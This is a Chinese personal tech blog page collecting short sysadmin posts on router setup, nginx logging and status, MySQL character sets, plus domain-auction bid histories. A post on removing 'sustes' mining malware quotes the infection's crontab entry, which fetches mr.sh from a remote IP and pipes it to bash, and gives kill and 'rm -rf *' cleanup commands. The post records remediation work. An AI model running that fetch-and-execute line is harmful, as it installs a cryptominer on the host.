MikroTik RB450Gx4 RouterOS V6 带来高效稳定的网络

2018-11-10 by Jinyang | 1 Comment | Filed in 技术相关

家里一直是只有无线网络    好几年了   虽然不稳定  但也能凑乎。

在家办公这几个月  就无法忍受不稳定的无线网络了   正在ssh进行重要操作   回车下去网络断了    真的是能急死人  ,

家里用的零元购的斐讯K2路由器  刷的梅林系统   每天定时重启一次  但也还是没办法解决书房和次卧的网络信息问题   ,当作服务器使用的台式机也是使用的无线网卡  也存在不够稳定的现象。

分离路由和无线,让路由就是路由   无线就是无线   各司其职  是改造的目的,选型比较了若干方案,开源的RouterOS看样子大家都比较推荐,于是买入

Nat  转发  到台式机   ,飞快。

//  待有空完善。

BenJiao.com Bid History(10 Bidders:, 38 Bids)

2018-10-28 by Jinyang | No Comments | Filed in 技术相关

BenJiao.com Bid History(10 Bidders:, 38 Bids)

Bidder Bid Date Time
first1

High Bid
$350.00 Oct 27 13:17:24
DefendOr6

$330.00 Oct 27 13:15:46
first1

$310.00 Oct 27 13:11:12
nameword

$290.00 Oct 27 13:09:09
first1

$270.00 Oct 27 13:07:38
DefendOr6

$250.00 Oct 27 13:06:55
first1

$230.00 Oct 27 13:03:53
nameword

P
$210.00 Oct 27 13:02:48
DefendOr6

$204.00 Oct 27 13:02:48
nameword

P
$194.00 Oct 27 13:00:07
first1

$194.00 Oct 27 13:00:07
nameword

$184.00 Oct 27 12:57:48
DefendOr6

$174.00 Oct 27 12:57:22
nameword

$164.00 Oct 27 12:20:22
Alibackorders

P
$157.00 Oct 27 12:20:22
Alibackorders

P
$154.00 Oct 27 12:20:07
nameword

$144.00 Oct 27 12:20:07
Alibackorders

P
$134.00 Oct 27 11:55:40
nameword

$124.00 Oct 27 11:55:39
Alibackorders

$114.00 Oct 27 10:35:20
DefendOr6

P
$104.00 Oct 27 09:34:59
nameword

$99.00 Oct 27 09:34:59
DefendOr6

$94.00 Oct 27 09:23:38
nameword

$89.00 Oct 27 08:13:26
first1

$84.00 Oct 27 06:33:25
nameword

$79.00 Oct 27 03:47:30
SanPinDai

P
$78.00 Oct 27 03:47:30
SanPinDai

$74.00 Oct 26 23:08:34
first1

$69.00 Oct 24 21:39:18
bosskk

$64.00 Oct 24 15:04:32
Alibackorders

$59.00 Oct 24 12:02:37
wisely

$59.00 Oct 24 12:02:37
WithoutAlias

$59.00 Oct 24 12:02:37
first1

$59.00 Oct 24 12:02:37
danny9

$59.00 Oct 24 12:02:37
jiuzhe

$59.00 Oct 24 12:02:37
nameword

$59.00 Oct 24 12:02:37
DefendOr6

$59.00 Oct 24 12:02:37

Zaiti.com Bid History(24 Bidders:, 76 Bids)

2018-10-27 by Jinyang | No Comments | Filed in 技术相关
Bidder Bid Date Time
first1

High Bid
$1,577.00 Oct 26 12:55:51
168888

P
$1,555.00 Oct 26 12:55:51
168888

P
$1,527.00 Oct 26 12:54:49
first1

$1,477.00 Oct 26 12:54:49
168888

P
$1,427.00 Oct 26 12:54:09
first1

$1,377.00 Oct 26 12:54:09
168888

P
$1,327.00 Oct 26 12:53:06
first1

$1,277.00 Oct 26 12:53:06
168888

P
$1,227.00 Oct 26 11:31:16
Alibackorders

$1,177.00 Oct 26 11:31:16
168888

P
$1,060.00 Oct 26 11:28:18
Alibackorders

$1,010.00 Oct 26 11:28:18
168888

P
$860.00 Oct 26 11:26:59
Alibackorders

$810.00 Oct 26 11:26:59
168888

P
$760.00 Oct 26 10:01:22
nameword

$710.00 Oct 26 10:01:22
168888

P
$660.00 Oct 26 09:55:29
nameword

$610.00 Oct 26 09:55:29
168888

P
$560.00 Oct 26 09:41:39
nameword

$510.00 Oct 26 09:41:39
168888

P
$485.00 Oct 26 09:40:45
nameword

$465.00 Oct 26 09:40:45
168888

P
$445.00 Oct 26 09:32:48
Affiliate

$425.00 Oct 26 09:32:48
168888

P
$405.00 Oct 26 09:02:09
drop320

$385.00 Oct 26 09:02:09
168888

P
$365.00 Oct 26 08:56:53
first1

$345.00 Oct 26 08:56:53
168888

$325.00 Oct 26 08:06:03
Alibackorders

P
$305.00 Oct 26 08:05:49
168888

$305.00 Oct 26 08:05:49
Alibackorders

P
$285.00 Oct 26 08:02:07
168888

$265.00 Oct 26 08:02:07
Alibackorders

$245.00 Oct 26 07:06:47
first1

$225.00 Oct 26 02:47:42
Alibackorders

P
$205.00 Oct 26 02:37:16
first1

$204.00 Oct 26 02:37:16
Alibackorders

$194.00 Oct 26 02:26:43
first1

$184.00 Oct 25 08:09:44
Affiliate

$174.00 Oct 25 05:31:53
first1

$164.00 Oct 24 23:01:52
Alibackorders

$154.00 Oct 24 20:47:28
first1

$144.00 Oct 24 18:11:15
Alibackorders

$134.00 Oct 24 09:35:07
Affiliate

$124.00 Oct 24 08:40:13
first1

$114.00 Oct 23 23:46:24
nameword

P
$109.00 Oct 23 23:46:24
nameword

$104.00 Oct 23 22:23:12
first1

$99.00 Oct 23 22:13:21
nameword

$94.00 Oct 23 21:21:24
first1

$89.00 Oct 23 21:09:06
nameword

$84.00 Oct 23 20:40:46
Alibackorders

P
$79.00 Oct 23 20:35:19
nameword

$79.00 Oct 23 20:35:19
Alibackorders

$74.00 Oct 23 19:23:04
bosskk

$69.00 Oct 23 18:04:26
ecawen

$64.00 Oct 23 12:50:49
zhuhewsc

$59.00 Oct 23 12:08:29
Alibackorders

$59.00 Oct 23 12:08:29
8820351

$59.00 Oct 23 12:08:29
jiuzhe

$59.00 Oct 23 12:08:29
szdomains

$59.00 Oct 23 12:08:29
first1

$59.00 Oct 23 12:08:29
yijiebackorder

$59.00 Oct 23 12:08:29
WithoutAlias

$59.00 Oct 23 12:08:29
primerlloc

$59.00 Oct 23 12:08:29
nameword

$59.00 Oct 23 12:08:29
justdropped

$59.00 Oct 23 12:08:29
DefendOr6

$59.00 Oct 23 12:08:29
BadReligion

$59.00 Oct 23 12:08:29
tintin

$59.00 Oct 23 12:08:29
Jokers

$59.00 Oct 23 12:08:29
skippy

$59.00 Oct 23 12:08:29
mike000

$59.00 Oct 23 12:08:29
somealias

$59.00 Oct 23 12:08:29
global

$59.00 Oct 23 12:08:29

nginx access log format

2018-10-17 by Jinyang | No Comments | Filed in 技术相关
https://grafana.com/dashboards/2292


log_format main   '{"@timestamp":"$time_iso8601",'
                        '"@source":"$server_addr",'
                        '"hostname":"$hostname",'
                        '"ip":"$http_x_forwarded_for",'
                        '"client":"$remote_addr",'
                        '"request_method":"$request_method",'
                        '"scheme":"$scheme",'
                        '"domain":"$server_name",'
                        '"referer":"$http_referer",'
                        '"request":"$request_uri",'
                        '"args":"$args",'
                        '"size":$body_bytes_sent,'
                        '"status": $status,'
                        '"responsetime":$request_time,'
                        '"upstreamtime":"$upstream_response_time",'
                        '"upstreamaddr":"$upstream_addr",'
                        '"http_user_agent":"$http_user_agent",'
                        '"https":"$https"'
                        '}';

nginx status

2018-10-17 by Jinyang | No Comments | Filed in 技术相关

查看nginx安装的把目录

whereis nginx
nginx: /usr/sbin/nginx

查看nginx的版本已经已安装的插件

/usr/sbin/nginx -V
nginx version: nginx/1.14.0
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: –prefix=/etc/nginx –sbin-path=/usr/sbin/nginx –modules-path=/usr/lib64/nginx/modules –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pid-path=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –http-client-body-temp-path=/var/cache/nginx/client_temp –http-proxy-temp-path=/var/cache/nginx/proxy_temp –http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp –http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp –http-scgi-temp-path=/var/cache/nginx/scgi_temp –user=nginx –group=nginx –with-compat –with-file-aio –with-threads –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_flv_module –with-http_gunzip_module –with-http_gzip_static_module –with-http_mp4_module –with-http_random_index_module –with-http_realip_module –with-http_secure_link_module –with-http_slice_module –with-http_ssl_module –with-http_stub_status_module –with-http_sub_module –with-http_v2_module –with-mail –with-mail_ssl_module –with-stream –with-stream_realip_module –with-stream_ssl_module –with-stream_ssl_preread_module –with-cc-opt=’-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong –param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -fPIC’ –with-ld-opt=’-Wl,-z,relro -Wl,-z,now -pie’

 

修改nginx配置  启用stub_status

location /nginx-status {
allow 127.0.0.1;
deny all;
stub_status on;
access_log off;
}

 

查看nginx-status

curl 127.0.0.1/nginx-status
Active connections: 51
server accepts handled requests
752 752 2909
Reading: 0 Writing: 1 Waiting: 50

 

这个是最简单、笨拙的方法,没有实现图形化。

 

Bid history for nuanku.com

2018-10-16 by Jinyang | No Comments | Filed in 技术相关
Starting Bid: $79.00
15-Oct-2018 14:05 PDT
Auction End Time: 15-Oct-2018 12:45 PDT

云主机的挖矿病毒 sustes

2018-10-05 by Jinyang | No Comments | Filed in 技术相关

ps aux

ps aux|grep wget|awk ‘{print $2}’|xargs kill -9

crontab -u www-data -l

crontab -e -u www-data

#* * * * * wget -q -O – http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1

 

cd /var/tmp

rm  -rf  *

mysql client 命令行窗口乱码、输入中文无法返回预期结果

2018-09-17 by Jinyang | No Comments | Filed in 技术相关

TIM图片20180917100743

 

set character_set_results=utf8

set character_set_client=utf8

set character_set_connection=utf8

 

TIM图片20180917102316

java https 请求

2018-09-16 by Jinyang | No Comments | Filed in Other

echo |openssl s_client -connect ***.****.com:443 2>&1 |sed -ne ‘/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p’

配置mysql参数使数据库表字段支持存储表情符号

2018-09-15 by Jinyang | 2 Comments | Filed in Other

看了下基本这篇写的已经够完整了,虽然不是安装这篇做的,也还是不重复写了。->  : http://blog.51cto.com/312461613/1718999

1 解决方案:将Mysql的编码从utf8转换成utf8mb4。

需要 >= MySQL 5.5.3版本、从库也必须是5.5的了、低版本不支持这个字符集、复制报错

2 my.cnf 文件添加

[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
init_connect=’SET NAMES utf8mb4′


3修改需要添加库 表 字段的字符集

修改数据库字符集:

ALTER DATABASE database_name CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci;

 

修改表的字符集:

ALTER TABLE table_name CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

 

修改字段的字符集:

ALTER TABLE table_name CHANGE column_name column_name VARCHAR(191) CHARACTER SET utf8mb4 COLLATE     utf8mb4_unicode_ci;

 

如果只是某个字段需要 只需要修改那个字段的字符集就可以了

4 如果修改以上都不行请查询sql

 

mysql> show variables like ‘%sql_mode%’;

+—————+——————————————–+

| Variable_name | Value                                      |

+—————+——————————————–+

| sql_mode      | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION |

+—————+——————————————–+

1 row in set (0.00 sec)

如果是以上结果恭喜你是存储不了的

去设置这个sql_mod 模式(注意这里修改看之后要退出控制台要不然还是看不到效果的,而

且这个配置写my.cnf 重启服务器是不生效的,如果要问为什么请去mysql顾问群)

mysql> set global sql_mode = ‘NO_ENGINE_SUBSTITUTION’;

mysql> show variables like ‘%sql_mode%’;

+—————+————————+

| Variable_name | Value                  |

+—————+————————+

| sql_mode      | NO_ENGINE_SUBSTITUTION |

+—————+————————+

1 row in set (0.00 sec)

6  做完这些就完成了

返回顶部